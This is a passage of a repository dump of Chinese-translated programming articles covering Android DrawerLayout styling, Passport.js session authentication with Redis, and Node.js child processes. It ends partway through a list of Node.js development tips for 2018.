>\n\n看起来这样\n\n\n![](http://matthewwear.xyz/content/images/2016/05/Screenshot-2016-05-31-10-24-05.png)\n\n当然，如果一会你想在代码里改变状态栏的颜色或`ScrimInsetLayout`的颜色，你可以在`DrawerLayout`中通过setters方法来获取并改变。\n\n    drawerLayout.setStatusBarBackgroundColor(ContextCompat.getColor(this, R.color.wierd_green));  \n\n    drawerLayout.setScrimColor(ContextCompat.getColor(this, R.color.wierd_transparent_orange));  \n\n感谢你的阅读，如果在我分享的内容里，你有更好的方法来实现，那么在评论里更正，感激不尽。\n\n_* 以下添加于 6月5, 2016*_\n\n###### 如果你继承 DrawerLayout\n\nAndroid Support 兼容包(AppCompat) 会在 `DrawerLayout` 里加入一个 `android.support.design.internal.ScrimInsetsFrameLayout`, 但如果你使用继承自 DrawerLayout 的自定义控件则不会这么做。\n\n如果你继承了`DrawerLayout` 但是没有加入`ScrimInsetsFrameLayout`，你需要这么做：\n\n**activity_with_drawer_layout.xml**\n\n    <com.myproject.views.MyDrawerLayout  \n        android:id=\"@+id/drawer_layout\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:fitsSystemWindows=\"true\">\n\n        <FrameLayout\n            android:id=\"@+id/content_frame\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"/>\n\n        <fragment\n            android:id=\"@+id/left_drawer\"\n            android:name=\"com.myproject.fragments.NavigationFragment\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"match_parent\"\n             />\n\n    </com.myproject.views.MyDrawerLayout>  \n\n在你的抽屉布局文件中加入一个 `ScrimInsetsFrameLayout`，如：\n\n**navigation_fragment_layout.xml**\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>  \n    <android.support.design.internal.ScrimInsetsFrameLayout  \n        ...\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:background=\"@android:color/transparent\"\n        android:fitsSystemWindows=\"true\"\n        >\n\n        <!--- content of drawer here --->\n\n    </android.support.design.internal.ScrimInsetsFrameLayout>  \n\n"
  },
  {
    "path": "TODO/node-hero-node-js-authentication-passport-js.md",
    "content": ">* 原文链接 : [Node Hero - Node.js Authentication using Passport.js](https://blog.risingstack.com/node-hero-node-js-authentication-passport-js/)\n* 原文作者 : [risingstack](https://blog.risingstack.com)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [circlelove](https://github.com/circlelove)\n* 校对者:[wild-flame](https://github.com/wild-flame); [godofchina](https://github.com/godofchina)\n\n# 教程：使用 Passport.js 来做后台用户验证\n\n这是称为 Node Hero 系列教程的第八部分——在这些章节里面，你将学到如何开始 Node.js 的旅程以及如何用它来交付软件产品。\n\n这个教程当中，你将学习如何利用 Node.js 和 Redis 来实现本地化的 Node.js 身份验证策略。 \n\n即将开始的和从前期的章节：\n\n1.  [从 Node.js 开始](/node-hero-tutorial-getting-started-with-node-js) \n\n\n2.  [使用NPM](/node-hero-npm-tutorial)\n\n\n3.  [理解异步程序](/node-hero-async-programming-in-node-js)\n\n4.  [你的第一个 Node.js HTTP 服务器](/your-first-node-js-http-server)\n \n5.  [ Node.js 数据库教程](/node-js-database-tutorial)\n\n6.  [ Node.js 必须模块教程](/node-hero-node-js-request-module-tutorial)\n\n7.  [ Node.js 项目架构教程](/node-hero-node-js-project-structure-tutorial)\n\n8.   利用 Passport.js 进行 Node.js 身份验证 _[也就是你正在读的这章]_\n\n9. 测试 Node.js 应用\n\n10. 调试 Node.js\n\n11. 巩固你的应用\n\n12.  为 PaaS 部署 Node.js 应用\n\n13.  监控和执行 Node.js 应用\n\n\n## 会用到的技术\n\n在真正进入实际编程前，我们来看一看在这一章要用到的新技术。\n\n#### Pasport.js 是什麽?\n\n> 简单，低调的 Node.js 身份验证。 - [passportjs.org](http://passportjs.org/)\n\n\n![Passport.js 是 Node.js 的身份验证中间件。](http://ww4.sinaimg.cn/large/72f96cbagw1f4a78792utj20k0061jry)\n\n\nPassport.js 是 Node.js 的身份验证中间件，我们可以用它来进行会话管理。\n\n#### Redis 是什么?\n\n\n> Redis 是一个开源的（BSD 许可的），内存数据结构存储，用作数据库、缓存和消息代理。--[redis.io](http://redis.io/)\n\n我们将在 Redis 里面存储我们用户的会话信息，而不是在进程的内存当中。这样一来我们的应用相当容易衡量。\n\n## 应用样品\n\n出于展示的目的，让我们只执行以下步骤构建一个应用：\n*   显示登录表单,\n*   显示2个受保护的页面:\n    *   概述页,\n    *   可靠票据\n\n\n\n\n\n\n\n### 项目结构\n\n\n我们已经在前一个章节 Node Hero中学了 [如何构建 passport.js 项目 ](https://blog.risingstack.com/node-hero-node-js-project-structure-tutorial/) ，因此让我们应用这些知识吧！\n\n我们将利用以下结构\n\n    ├── app\n    |   ├── authentication\n    |   ├── note\n    |   ├── user\n    |   ├── index.js\n    |   └── layout.hbs\n    ├── config\n    |   └── index.js\n    ├── index.js\n    └── package.json\n\n\n如你所见，我们将围绕特性组织文件和目录。我们也会设置功能性的用户页，注释页，以及相关的身份验证。\n_(在 [https://github.com/RisingStack/nodehero-authentication](https://github.com/RisingStack/nodehero-authentication)下载所有的源代码。)_\n \n\n### Node.js 身份验证流。\n\n我们的目标是在我们的应用当中实现如下的身份验证流：\n\n1.用户输入用户名和密码\n2.应用检查用户名和密码是否相符\n3.如果相符，则提交一个 ' Set-Cookie ' 的报头，用于下一级网页进行身份验证。\n4.用户用同样的域名访问的时候，先前保存的 cookie 会加入到所有的请求中。\n5.带有这样 cokie 的认证验证受限页面\n\n\n为了设置像这样的身份验证策略，按照以下三步进行：\n\n## 步骤1.设置 Express\n\n我们将为服务器框架配置 Expres ----通过阅读我们的[Express 教程](https://blog.risingstack.com/your-first-node-js-http-server).你会学到比主题更多的东西\n\n\n\n// file:app/index.js\n    const express = require('express')  \n    const passport = require('passport')  \n    const session = require('express-session')  \n    const RedisStore = require('connect-redis')(session)\n\n    const app = express()  \n    app.use(session({  \n      store: new RedisStore({\n        url: config.redisStore.url\n      }),\n      secret: config.redisStore.secret,\n      resave: false,\n      saveUninitialized: false\n    }))\n    app.use(passport.initialize())  \n    app.use(passport.session())  \n\n\n我们在这里做了哪些事情？\n\n 首先，我们要'require' 所有的依赖以管理会话。之后，从'express-session' 模块创建一个新的例子，用它来储存我们的会话。\n\n对于后备存储，我们现在使用的是 Redis ，不过你也可以用其他的，像 MySQL 、 MongoDB 之类的。\n\n## 第二步，为 Node.js 配置 Passport\n\n\nPassprot 是插件库的一个很棒的例子。这个教程当中，我们加入了 ' passport-local '模块，实现了利用用户名和密码的本地身份验证策略更加简单的集成。\n\n简单起见，本例当中我们没有使用了二级后备存储，只有一个内存的用户实例。在实际的应用当中，' findUser '会在数据库当中查找用户。\n\n    // file:app/authenticate/init.js\n    const passport = require('passport')  \n    const LocalStrategy = require('passport-local').Strategy\n\n    const user = {  \n      username: 'test-user',\n      password: 'test-password',\n      id: 1\n    }\n\n    passport.use(new LocalStrategy(  \n      function(username, password, done) {\n        findUser(username, function (err, user) {\n          if (err) {\n            return done(err)\n          }\n          if (!user) {\n            return done(null, false)\n          }\n          if (password !== user.password  ) {\n            return done(null, false)\n          }\n          return done(null, user)\n        })\n      }\n    ))\n\n一旦用户对象的'findUser' 返回，唯一剩下的就是用户供应的对比以及实际密码检测是否相符。\n\n如果符合，我们允许用户登入（用户返回到 Passport --'返回完成( null , user )'）如果不符合，返回未验证错误。\n(不向 passport 返回-- '返回完成（null ）'）\n\n## 第三步，添加受保护节点\n\n为了添加受保护节点，我们利用中间件模式 Express 使用。为此，我们首先创建身份验证中间件\n\n    // file:app/authentication/middleware.js\n    function authenticationMiddleware () {  \n      return function (req, res, next) {\n        if (req.isAuthenticated()) {\n          return next()\n        }\n        res.redirect('/')\n      }\n    }\n\n\n如果用户通过验证（即拥有正确的 cookies ） ，程序就会调用下一个中间件，否则它就会重定向到用户的登录页。\n\n利用它就和向路由添加新的中间件一样简单。\n\n    // file:app/user/init.js\n    const passport = require('passport')\n\n    app.get('/profile', passport.authenticationMiddleware(), renderProfile)  \n\n## 总结\n\n[\"@RisingStack 说 为带有 Passport 的 Node.js 配置身份验证就是小菜一碟。 #nodejs](https://twitter.com/share?text=%22Setting%20up%20authentication%20for%20Node.js%20with%20Passport%20is%20a%20piece%20of%20cake!%E2%80%9D%20via%20%40RisingStack%20%23nodejs;url=https://blog.risingstack.com/node-hero-node-js-authentication-passport-js)\n\n\n[点击推特](https://twitter.com/share?text=%22Rule+1:+Organize+your+files+around+features,+not+roles!%22+via+%40RisingStack&url=https://blog.risingstack.com/node-hero-node-js-authentication-passport-js)\n\n\n这次的 Node.js 教程当中，你学习了如何为应用添加基本的身份验证。之后，你可以使用更丰富的验证策略，比如使用 facebook 和 twitter。在[http://passportjs.org/](http://passportjs.org/).里你可以发现更多的策略\n\n全部的代码和实例都在 Github 上面，你可以看一下： [https://github.com/RisingStack/nodehero-authentication](https://github.com/RisingStack/nodehero-authentication)\n\n\n## 接下来\n\nNode Hero 的下一章都是关于测试 Node.js 应用的。你会学到单元测试，测试金字塔，测试模块等等更多的东西\n\n\n请在评论部分分享你的问题和反馈。\n"
  },
  {
    "path": "TODO/node-js-child-processes-everything-you-need-to-know.md",
    "content": "> * 原文地址：[Node.js Child Processes: Everything you need to know](https://medium.freecodecamp.com/node-js-child-processes-everything-you-need-to-know-e69498fe970a)\n> * 原文作者：本文已获原作者 [Samer Buna](https://medium.freecodecamp.com/@samerbuna) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[熊贤仁](https://github.com/FrankXiong)\n> * 校对者：[CACppuccino](https://github.com/CACppuccino), [wilsonandusa](https://github.com/wilsonandusa)\n\n---\n\n# Node.js 子进程：你应该知道的一切\n\n## 如何使用 spawn()，exec()，execFile() 和 fork()\n\n![](https://cdn-images-1.medium.com/max/2000/1*I56pPhzO1VQw8SIsv8wYNA.png)\n\n截图来自我的视频教学课程 - Node.js 进阶\n\nNode.js 的单线程、非阻塞执行特性在单进程下工作的很好。但是，单 CPU 中的单进程最终不足以处理应用中增长的工作负荷。\n\n不管你的服务器性能多么强劲，单个线程只能支持有限的负荷。\n\nNode.js 运行于单线程之上并不意味着我们不能利用多进程，当然，也能运行在多台机器上。\n\n使用多进程是扩展 Node 应用的最佳之道。Node.js 天生适合在多节点上构建分布式应用。这是它被命名为 “Node” 的原因。可扩展性被深深烙印进平台，自应用诞生之初就已经存在。\n\n> 这篇文章是[我的 Node.js 视频教学课程](https://www.pluralsight.com/courses/nodejs-advanced)的补充。在课程的视频中也讲到了相似的内容。\n\n请注意，在阅读这篇文章之前，你需要对 Node.js 的**事件**和**流**有足够的理解。如果还没有，我推荐你先去读下面两篇文章：\n\n[![](https://ws1.sinaimg.cn/large/006tKfTcgy1fgf9g5mityj314e0aojtf.jpg)](https://medium.freecodecamp.com/understanding-node-js-event-driven-architecture-223292fcbc2d)\n\n[![](https://ws2.sinaimg.cn/large/006tKfTcgy1fgf9h3qicxj31420a2mza.jpg)](https://medium.freecodecamp.com/node-js-streams-everything-you-need-to-know-c9141306be93)\n\n### 子进程模块\n\n我们可以使用 Node 的 `child_process` 模块来简单地创造子进程，子进程之间可以通过消息系统简单的通信。\n\n`child_process` 模块通过在一个子进程中执行系统命令，赋予我们使用操作系统功能的能力。\n\n我们可以控制子进程的输入流，并监听它的输出流。我们也可以修改传递给底层 OS 命令的参数，并得到任意我们想要的命令输出。举例来说，我们可以将一条命令的输出作为另一条命令的输入（正如 Linux 中那样），因为这些命令的所有输入和输出都能够使用 [Node.js 流](https://medium.freecodecamp.com/node-js-streams-everything-you-need-to-know-c9141306be93)来表示。\n\n**注意：这篇文章举的所有例子都基于 Linux。如果在 Windows 上，你要切换为它们对应的 Window 命令。**\n\nNode.js 里创建子进程有四种不同的方式：`spawn()`, `fork()`, `exec()` 和 `execFile()`。\n\n我们将学习这四个函数之间的区别及其使用场景。\n\n#### 衍生的子进程\n\n`spawn` 函数会在一个新的进程中启动一条命令，我们可以使用它来给这条命令传递任意参数。比如，下面的代码会衍生一个执行 `pwd` 命令的新进程。\n\n    const { spawn } = require('child_process');\n\n    const child = spawn('pwd');\n\n我们简单地从 `child_process` 模块中解构 `spawn` 函数，然后将系统命令作为第一个参数来执行该函数。\n\n`spawn` 函数（上面的 `child` 对象）的执行结果是一个 `ChildProcess` 实例，该实例实现了 [EventEmitter API](https://medium.freecodecamp.com/understanding-node-js-event-driven-architecture-223292fcbc2d)。这意味着我们可以直接在这个子对象上注册事件处理器。比如，当在子进程上注册一个 `exit` 事件处理器时，我们可以在事件处理函数中执行一些任务：\n\n    child.on('exit', function (code, signal) {\n      console.log('child process exited with ' +\n                  `code ${code} and signal ${signal}`);\n    });\n\n上面的处理器给出了子进程的退出 `code` 和 `signal`，这两个变量可以用来终止子进程。子进程正常退出时 `signal` 变量为 null。\n\n`ChildProcess` 实例上还可以注册 `disconnect`、`error`、`close` 和 `message` 事件。\n\n- `disconnect` 事件在父进程手动调用 `child.disconnect` 函数时触发。\n- 如果进程不能被衍生或者杀死，会触发 `error` 事件。\n- `close` 事件在子进程的 `stdio` 流关闭时触发。\n- `message` 事件最为重要。它在子进程使用 `process.send()` 函数来传递消息时触发。这就是父/子进程间通信的原理。下面将给出一个例子。\n\n每一个子进程还有三个标准 `stdio` 流，我们可以分别使用 `child.stdin`、`child.stdout` 和 `child.stderr` 来使用这三个流。\n\n当这几个流被关闭后，使用了它们的子进程会触发 `close` 事件。这里的 `close` 事件不同于 `exit` 事件，因为多个子进程可能共享相同的 `stdio` 流，因此一个子进程退出并不意味着流已经被关闭了。\n\n既然所有的流都是事件触发器，我们可以在归属于每个子进程的 `stdio` 流上监听不同的事件。不像普通的进程，在子进程中，`stdout`/`stderr` 流是可读流，而 `stdin` 流是可写的。这基本上和主进程相反。这些流支持的事件都是标准的。最重要的是，在可读流上我们可以监听 `data` 事件，通过 `data` 事件可以得到任一命令的输出或者执行命令过程中发生的错误： \n\n    child.stdout.on('data', (data) => {\n      console.log(`child stdout:\\n${data}`);\n    });\n\n    child.stderr.on('data', (data) => {\n      console.error(`child stderr:\\n${data}`);\n    });\n\n上述两个处理器会输出两者的日志到主进程的 `stdout` 和 `stderr` 事件上。当我们执行前面的 `spawn` 函数时，`pwd` 命令的输出会被打印出来，并且子进程带着代码 `0` 退出，这表示没有错误发生。\n\n我们可以给命令传递参数，命令由 `spawn` 函数执行，`spawn` 函数用上了第二个参数，这是一个传递给该命令的所有参数组成的数组。比如说，为了在当前目录执行 `find` 命令，并带上一个 `-type f` 参数（用于列出所有文件），我们可以这样做：\n\n    const child = spawn('find', ['.', '-type', 'f']);\n\n如果这条命令的执行过程中出现错误，举个例子，如果我们在 find 一个非法的目标文件，`child.stderr` `data` 事件处理器将会被触发，`exit` 事件处理器会报出一个退出代码 `1`，这标志着出现了错误。错误的值最终取决于宿主操作系统和错误类型。\n\n子进程中的 `stdin` 是一个可写流。我们可以用它给命令发送一些输入。就跟所有的可写流一样，消费输入最简单的方式是使用 `pipe` 函数。我们可以简单地将可读流管道化到可写流。既然主线程的 `stdin` 是一个可读流，我们可以将其管道化到子进程的 `stdin` 流。举个例子：\n\n    const { spawn } = require('child_process');\n\n    const child = spawn('wc');\n\n    process.stdin.pipe(child.stdin)\n    \n    child.stdout.on('data', (data) => {\n      console.log(`child stdout:\\n${data}`);\n    });\n\n在这个例子中，子进程调用 `wc` 命令，该命令可以统计 Linux 中的行数、单词数和字符数。我们然后将主进程的 `stdin` 管道化到子进程的 `stdin`（一个可写流）。这个组合的结果是，我们得到了一个标准输入模式，在这个模式下，我们可以输入一些字符。当敲下 `Ctrl+D` 时，输入的内容将会作为 `wc` 命令的输入。\n\n![](https://cdn-images-1.medium.com/max/1000/1*s9dQY9GdgkkIf9zC1BL6Bg.gif)\n\nGif 截图来自我的视频教学课程 - Node.js 进阶\n\n我们也可以将多个进程的标准输入/输出相互用管道连接，就像 Linux 命令那样。比如说，我们可以管道化 `find` 命令的 `stdout` 到 `wc` 命令的 `stdin`，这样可以统计当前目录的所有文件。\n\n    const { spawn } = require('child_process');\n\n    const find = spawn('find', ['.', '-type', 'f']);\n    const wc = spawn('wc', ['-l']);\n\n    find.stdout.pipe(wc.stdin);\n    \n    wc.stdout.on('data', (data) => {\n      console.log(`Number of files ${data}`);\n    });\n\n我给 `wc` 命令添加了 `-l` 参数，使它只统计行数。当执行完毕，上述代码会输出当前目录下所有子目录文件的行数。\n\n#### Shell 语法和 exec 函数\n\n默认情况下，`spawn` 函数并不为我们传进的命令而创建一个 `shell` 来执行，这使得它相比创建 shell 的 `exec` 函数，效率略微更高。`exec` 函数还有另一个主要的区别，它**缓冲**了命令生成的输出，并传递整个输出值给一个回调函数（而不是使用流，那是 `spawn` 的做法）。\n\n这里给出了之前 `find | wc ` 例子的 `exec` 函数实现。\n\n    const { exec } = require('child_process');\n\n    exec('find . -type f | wc -l', (err, stdout, stderr) => {\n      if (err) {\n        console.error(`exec error: ${err}`);\n        return;\n      }\n\n      console.log(`Number of files ${stdout}`);\n    });\n\n既然 `exec` 函数使用 shell 执行命令，我们可以使用 **shell 语法** 来直接利用 shell 管道特性。\n\n当 `stdout` 参数存在，`exec` 函数缓冲输出并传递它给回调函数（`exec` 的第二个参数）。这里的 `stdout` 参数是命令的输出，我们要将其打印出来。\n\n如果你需要使用 shell 语法，并且来自命令的数据规模较小，`exec` 函数是个不错的选择。（记住，`exec` 会在返回之前，缓冲所有数据进内存。）\n\n当命令预期的数据规模比较大时，选择 `spawn` 函数会好得多，因为数据将会和标准 IO 对象被流式处理。\n\n我们可以令衍生的子进程继承其父进程的标准 IO 对象，但更重要的是，我们同样可以令 `spawn` 函数使用 shell 语法。下面同样是 `find | wc` 命令， 由 `spawn` 函数实现：\n\n    const child = spawn('find . -type f', {\n      stdio: 'inherit',\n      shell: true\n    });\n\n因为有上面的 `stdio: 'inherit'` 选项，当代码执行时，子进程继承主进程的 `stdin`、`stdout` 和 `stderr`。这造成子进程的数据事件处理器在主进程的 `process.stdout` 流上被触发，使得脚本立即输出结果。\n\n`shell: true` 选项使我们可以在传递的命令中使用 shell 语法，就像之前的 `exec` 例子中那样。但这段代码还可以利用 `spawn` 函数带来的数据的流式。**真正实现了共赢。**\n\n除了 `shell` 和 `stdio`，`child_process` 函数的最后一个参数还有其他可以的选项。比如，使用 `cwd` 选项改变脚本的工作目录。举个例子，这里有个和前述相同的统计所有文件数量的例子，它利用 `spawn` 函数实现，使用了一个 shell 命令，并把工作目录设置为我的 Downloads 文件夹。这里的 `cwd` 选项会让脚本统计 `~/Downloads` 里的所有文件数量。\n\n    const child = spawn('find . -type f | wc -l', {\n      stdio: 'inherit',\n      shell: true,\n      cwd: '/Users/samer/Downloads'\n    });\n\n另一个可以使用的选项是 `env`，它可以指定哪些环境变量对于子进程是可见的。此选项的默认值是 `process.env`，这会赋予所有命令访问当前进程上下文环境的权限。如果想覆盖默认行为，我们可以简单地传递一个空对象，或者是作为唯一的环境变量的新值给 `env` 选项：\n\n    const child = spawn('echo $ANSWER', {\n      stdio: 'inherit',\n      shell: true,\n      env: { ANSWER: 42 },\n    });\n\n上面的 echo 命令没有访问父进程环境变量的权限。比如，它不能访问 `$HOME` 目录，但它可以访问 `$ANSWER` 目录，因为通过 `env` 选项，它被传递了一个指定的环境变量。\n\n这里要解释的最后一个重要的子进程选项，`detached` 选项，使子进程独立于父进程运行。\n\n假设有个文件 `timer.js`，使事件循环一直忙碌运行：\n\n    setTimeout(() => {\n      // keep the event loop busy\n    }, 20000);\n\n我们可以使用 `detached` 选项，在后台执行这段代码：\n\n    const { spawn } = require('child_process');\n\n    const child = spawn('node', ['timer.js'], {\n      detached: true,\n      stdio: 'ignore'\n    });\n\n    child.unref();\n\n分离的子进程的具体行为取决于操作系统。Windows 上，分离的子进程有自己的控制台窗口，然而在 Linux 上，分离的子进程会成为新的进程组和会话的领导进程。\n\n如果 `unref` 函数在分离的子进程中被调用，父进程可以独立于子进程退出。如果子进程是一个长期运行的进程，这个函数会很有用。但为了保持子进程在后台运行，子进程的 `stdio` 配置也必须独立于父进程。\n\n上述例子会在后台运行一个 node 脚本（`timer.js`），通过分离和忽略其父进程的 `stdio` 文件描述符来实现。因此当子进程在后台运行时，父进程可以随时终止。\n\n![](https://cdn-images-1.medium.com/max/1000/1*WhvMs8zv-WS6v7nDXmDUzw.gif)\n\nGif 来自我的视频教学课程 - Node.js 进阶\n\n#### execFile 函数\n\n如果你不想用 shell 执行一个文件，那么 execFile 函数正是你想要的。它的行为跟 `exec` 函数一模一样，但没有使用 shell，这会让它更有效率。Windows 上，一些文件不能在它们自己之上执行，比如 `.bat` 或者 `.cmd` 文件。这些文件不能使用 `execFile` 执行，并且执行它们时，需要将 shell 设置为 true，且只能使用 `exec`、`spawn` 两者之一。\n\n#### *Sync 函数 \n\n所有 `child_process` 模块都有同步阻塞版本，它们会一直等待直到子进程退出。\n\n![](https://cdn-images-1.medium.com/max/1000/1*C3uDuWwmqM_qT8X0S5tzPg.png)\n\n截图来自我的视频教学课程 - Node.js 进阶\n\n这些同步版本在简化脚本任务或一些启动进程任务上，一定程度上有所帮助。但除此之外，我们应该避免使用它们。\n\n#### fork() 函数\n\n`fork` 函数是 `spawn` 函数针对衍生 node 进程的一个变种。`spawn` 和 `fork` 最大的区别在于，使用 `fork` 时，通信频道建立于子进程，因此我们可以在 fork 出来的进程上使用 `send` 函数，这些进程上有个全局 `process` 对象，可以用于父进程和 fork 进程之间传递消息。这个函数通过 `EventEmitter` 模块接口实现。这里有个例子：\n\n父文件，`parent.js`:\n\n    const { fork } = require('child_process');\n\n    const forked = fork('child.js');\n\n    forked.on('message', (msg) => {\n      console.log('Message from child', msg);\n    });\n\n    forked.send({ hello: 'world' });\n\n子文件，`child.js`:\n\n    process.on('message', (msg) => {\n      console.log('Message from parent:', msg);\n    });\n\n    let counter = 0;\n\n    setInterval(() => {\n      process.send({ counter: counter++ });\n    }, 1000);\n\n上面的父文件中，我们 fork `child.js`（将会通过 `node` 命令执行文件），并监听 `message` 事件。一旦子进程使用 `process.send`，事实上我们每秒都在执行它，`message` 事件就会被触发，\n\n为了实现父进程向下给子进程传递消息，我们可以在 fork 的对象本身上执行 `send` 函数，然后在子文件中，在全局 `process` 对象上监听 `message` 事件。\n\n执行上面的 `parent.js` 文件时，它将首先向下发送 `{ hello: 'world' }` 对象，该对象会被 fork 的子进程打印出来。然后 fork 的子进程每秒会发送一个自增的计数值，该值会被父进程打印出来。 \n\n![](https://cdn-images-1.medium.com/max/1000/1*GOIOTAZTcn40qZ3JwgsrNA.gif)\n\n截图来自我的视频教学课程 - Node.js 进阶\n\n我们来用 `fork` 函数实现一个更实用的例子。\n\n这里有个 HTTP 服务器处理两个端点。一个端点（下面的 `/compute`）计算密集，会花好几秒种完成。我们可以用一个长循环来模拟：\n\n    const http = require('http');\n\n    const longComputation = () => {\n      let sum = 0;\n      for (let i = 0; i < 1e9; i++) {\n        sum += i;\n      };\n      return sum;\n    };\n\n    const server = http.createServer();\n\n    server.on('request', (req, res) => {\n      if (req.url === '/compute') {\n        const sum = longComputation();\n        return res.end(`Sum is ${sum}`);\n      } else {\n        res.end('Ok')\n      }\n    });\n\n    server.listen(3000);\n\n这段程序有个比较大的问题：当 `/compute` 端点被请求，服务器不能处理其他请求，因为长循环导致事件循环处于繁忙状态。\n\n这个问题有一些解决之道，这取决于耗时长运算的性质。但针对所有运算都适用的解决方法是，用 `fork` 将计算过程移动到另一个进程。\n\n我们首先移动整个 `longComputation` 函数到它自己的文件，并在主进程通过消息发出通知时，在文件中调用这个函数：\n\n一个新的 `compute.js` 文件中：\n\n    const longComputation = () => {\n      let sum = 0;\n      for (let i = 0; i < 1e9; i++) {\n        sum += i;\n      };\n      return sum;\n    };\n\n    process.on('message', (msg) => {\n      const sum = longComputation();\n      process.send(sum);\n    });\n\n现在，我们可以 `fork` `compute.js` 文件，并用消息接口实现服务器和复刻进程的消息通信，而不是在主进程事件循环中执行耗时操作。\n\n    const http = require('http');\n    const { fork } = require('child_process');\n\n    const server = http.createServer();\n\n    server.on('request', (req, res) => {\n      if (req.url === '/compute') {\n        const compute = fork('compute.js');\n        compute.send('start');\n        compute.on('message', sum => {\n          res.end(`Sum is ${sum}`);\n        });\n      } else {\n        res.end('Ok')\n      }\n    });\n\n    server.listen(3000);\n\n上面的代码中，当 `/compute` 来了一个请求，我们可以简单地发送一条消息给复刻进程，来启动执行耗时运算。主进程的事件循环并不会阻塞。\n\n一旦复刻进程执行完耗时操作，它可以用 `process.send` 将结果发回给父进程。\n\n在父进程中，我们在 fork 的子进程本身上监听 `message` 事件。当该事件触发，我们会得到一个准备好的 `sum` 值，并通过 HTTP 发送给请求。\n\n上面的代码，当然，我们可以 fork 的进程数是有限的。但执行这段代码时，HTTP 请求耗时运算的端点，主服务器根本不会阻塞，并且还可以接受更多的请求。\n\n我的下篇文章的主题，`cluster` 模块，正是基于子进程 fork 和负载均衡请求的思想，这些子进程来自大量的 fork，我们可以在任何系统中创建它们。\n\n以上就是我针对这个话题要讲的全部。感谢阅读！下次再见！\n\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/node-js-development-tips-2018.md",
    "content": "> * 原文地址：[8 Tips to Build Better Node.js Apps in 2018](https://blog.risingstack.com/node-js-development-tips-2018/)\n> * 原文作者：[Bertalan Miklos](https://twitter.com/@solkimicreb)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/node-js-development-tips-2018.md](https://github.com/xitu/gold-miner/blob/master/TODO/node-js-development-tips-2018.md)\n> * 译者：[PLDaily](https://github.com/PLDaily)\n> * 校对者：[FateZeros](https://github.com/FateZeros)，[congFly](https://github.com/congFly)\n\n# 8 个技巧让你在 2018 年构建更好的 Node.js 应用程序\n\n在过去的两年里，我们介绍了编写和操作 Node.js 应用程序的最佳实践 (请阅读 [2016 版](https://blog.risingstack.com/how-to-become-a-better-node-js-developer-in-2016/)和 [2017 版](https://blog.risingstack.com/node-js-best-practices-2017/))。又一年过去了，是时候重温一下如何成为一个更好的开发者这个话题了！\n\n在本文中，我们收集了一些我们认为 Node.js 开发者在 2018 年需要知道的技巧。随便挑选几个作为新年的开发礼物吧！\n\n## 技巧 #1：使用 `async` - `await`\n\n`Async` - `await` 在 Node.js 8 中繁荣发展。它改变了我们处理异步事件的方式，并简化了以前那些令人难以阅读的代码库。如果你到现在还没有使用过 `async` - `await` ，请阅读我们的[介绍博客文章](https://blog.risingstack.com/mastering-async-await-in-nodejs/)。\n\n重温[异步编程和 Promises ](https://blog.risingstack.com/node-hero-async-programming-in-node-js/)对你认识 `async` - `await` 可能也会有所帮助。\n\n## 技巧 #2：了解 `import` 和 `import()`\n\nES 模块已经广泛用于转换器与 [@std/esm ](https://github.com/standard-things/esm) 库。它在 Node.js 8.5 后加上 --experimental-modules 标志开始被支持，但是要在生产环境中使用还要走很长的路。(译者注：ES 模块在 Node.js 中属于 [Stability: 1 ](https://nodejs.org/dist/latest-v8.x/docs/api/documentation.html#documentation_stability_index) - 试验阶段)\n\n我们建议你现在了解 ES 模块的基础知，并关注 2018 年的最新进展。你可以在[这里](http://2ality.com/2017/09/native-esm-node.html)找到一个简单的 Node.js 的 ES 模块教程。\n\n## 技巧 #3：熟悉 HTTP/2\n\nHTTP/2 在 Node.js 8.8 后不需要加标志便可被使用。它具有 server push (服务器推送) 和 multiplexing (多路复用) 功能，为浏览器中高效的加载本地模块铺平了道路。一些框架，如 Koa 和 Hapi，部分支持它。其他的 - 如 Express 和 Meteor - 正在致力于支持。\n\nHTTP/2 在 Node.js 中虽然是试验性的，但是我们预计 2018 年会有很多新的库广泛采用它。 你可以在我们的[ HTTP/2 博客文章](https://blog.risingstack.com/node-js-http-2-push/)中了解更多关于该主题的内容。\n\n## 技巧 #4：摆脱代码风格争议\n\n[Prettier](https://github.com/prettier/prettier) 在 2017 年大受欢迎。这是一个有自己独立代码风格的代码格式化程序，它会将你的代码格式化成它的代码风格，而不是简单的代码风格报错。但仍然存在代码质量报错 - 比如[no-unused-vars](http://eslint.org/docs/rules/no-unused-vars) 和 [no-implicit-globals](http://eslint.org/docs/rules/no-implicit-globals) - 这些错误不能自动重新格式化。\n\n\n## 技巧 #5：保护你的 Node.js 应用程序\n\n每年都有很大的[安全漏洞](https://en.wikipedia.org/wiki/List_of_data_breaches)和新发现的漏洞，2017 年也不例外。安全是一个迅速变化的话题，不容忽视。 想要了解 Node.js 安全性，请从阅读我们的 [Node.js 安全清单](https://blog.risingstack.com/node-js-security-checklist/)开始。\n\n如果你认为你的应用程序已经是安全的，那么你可以使用 [Snyk](https://snyk.io/) 和 [Node Security Platform ](https://nodesecurity.io/) 来发现一些隐蔽的漏洞。\n\n## 技巧 #6：拥抱微服务\n\n如果你有项目部署上的问题或有即将到来的大型项目，那么是时候采用微服务架构了。了解这两种技术，以便在 2018 年的微服务场景保持最新状态。\n\n> [Docker](https://www.docker.com/) 